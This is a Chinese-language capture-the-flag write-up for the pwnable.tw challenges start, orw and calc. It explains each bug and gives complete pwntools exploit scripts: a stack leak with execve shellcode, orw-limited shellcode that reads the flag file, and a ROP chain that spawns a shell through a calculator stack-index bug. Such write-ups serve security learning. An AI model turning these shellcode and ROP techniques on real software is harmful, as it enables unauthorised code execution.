pwnable.tw start/orw/calc
start
保护全关的32位程序。
$ objdump -d -M Intel ./start
./start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80
有3个syscall,一个write把一个字符串写到1,一个read从0读入字符到栈上,一个exit退出。显然read这边有个栈溢出漏洞,可以把返回地址覆盖掉。
首先想到直接在返回地址后面写一段shellcode执行execve(“/bin/sh”, 0, 0),想盲打打中栈地址。但是试了几次发现即使是32位的程序,也有至少19个二进制位的随机变化,要十几个小时才能打中,于是算了。 然后想ROP试试,但是怎么想也想不出方法。 最后想到重新执行的思想,我可以重新执行write和read,把栈上的栈地址泄露出来,这样就可以把控制流精准控制成我的shellcode了。
from pwn import *
context.arch = 'i386'
# p = process("./start")
p = remote("chall.pwnable.tw", 10000)
payload = b'a' * 0x14
payload += pack(0x08048087, 32)
p.recv()
p.send(payload)
mes=p.recv()
print(mes)
stack = unpack(mes[0:0+4]) - 4
shcode_addr = stack + 0x14 + 4
print(hex(stack))
payload = b'/bin/sh' + b'\x00'*13
payload += pack(shcode_addr)
payload += asm(f'''
mov eax, 11
mov ebx, {stack}
mov ecx, 0
mov edx, 0
int 0x80
''')
p.send(payload)
p.interactive()
orw
程序会读入一段shellcode并执行,并且限制syscall只能调用orw。 先用read读入/home/orw/flag,然后orw就好了。
from pwn import *
context.arch = 'i386'
# p = process(["strace", "./orw"])
p = remote("chall.pwnable.tw", 10001)
buf_addr = 0x0804A0C0
payload = asm(f'''
mov eax, 3
xor ebx, ebx
mov ecx, {buf_addr}
mov edx, 20
int 0x80
mov eax, 5
mov ebx, {buf_addr}
xor ecx, ecx
xor edx, edx
int 0x80
mov ebx, eax
mov eax, 3
mov ecx, {buf_addr}
mov edx, 50
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, {buf_addr}
mov edx, 50
int 0x80
''')
print(p.recvS())
p.sendline(payload)
p.send(b'/home/orw/flag')
p.interactive()
calc
除了PIE,其他保护全开。 是一个计算器,将读入的表达式转换成逆波兰表达法之后,用栈进行求值。
主要漏洞在于,在利用栈进行求值的时候,这个存数字的栈用[0]存储栈的高度,用[1]及以上空间存储数字。
所以当我输入 +1
的时候,这个1将会直接被加到栈的高度上,之后就可以通过修改栈高度+构造表达式。来达成栈以上地址任意读写(实际只用到了任意写)。
遇到了两个坑,一是写入一个数字的时候,比这个数字低位的数字将会受到影响;二是运算数不能为0。
前者利用倒过来写入(从上往下写)解决,后者我利用构造表达式解决(后来发现了更简单的方法,由于是将运算数与”0”进行strcmp来判断的,我可以输入000来表示0)。
from pwn import *
context.arch = 'i386'
# p = process(["strace", "./calc"])
p = remote("chall.pwnable.tw", 10100)
read_addr = 0x0806e6d0
buf_addr = 0x080ecf00
int_0x80 = 0x08070880
sh_str = 0x08051ce9
pop_eax = 0x0805c34b
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
pop_3 = 0x080483ac
# 360 read
# 361 0
# 362 buf
# 363 10
# 364 pop_eax
# 365 11
# 366 pop_ecx_ebx
# 367 0
# 368 sh_str
# 369 pop_edx
# 370 0
# 371 int_0x80
payload = f'''+371+{int_0x80}/1-{int_0x80}
+370+{pop_edx}
+368+{buf_addr}/1-{buf_addr}
+367+{pop_ecx_ebx}
+366+11
+365+{pop_eax}
+364+10
+362+{buf_addr}/1-{buf_addr}
+361+{pop_3}
+360+{read_addr}
'''.encode('ascii')
print(p.recvS())
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
- pwnable.tw BabyStack
- pwnable.tw Starbound
- pwnable.tw seethefile
- pwnable.tw Re-alloc
- pwnable.tw tcache_tear
- pwnable.tw applestore
- pwnable.tw hacknote
- pwnable.tw silver_bullet
- pwnable.tw dubblesort
- pwnable.tw 3x17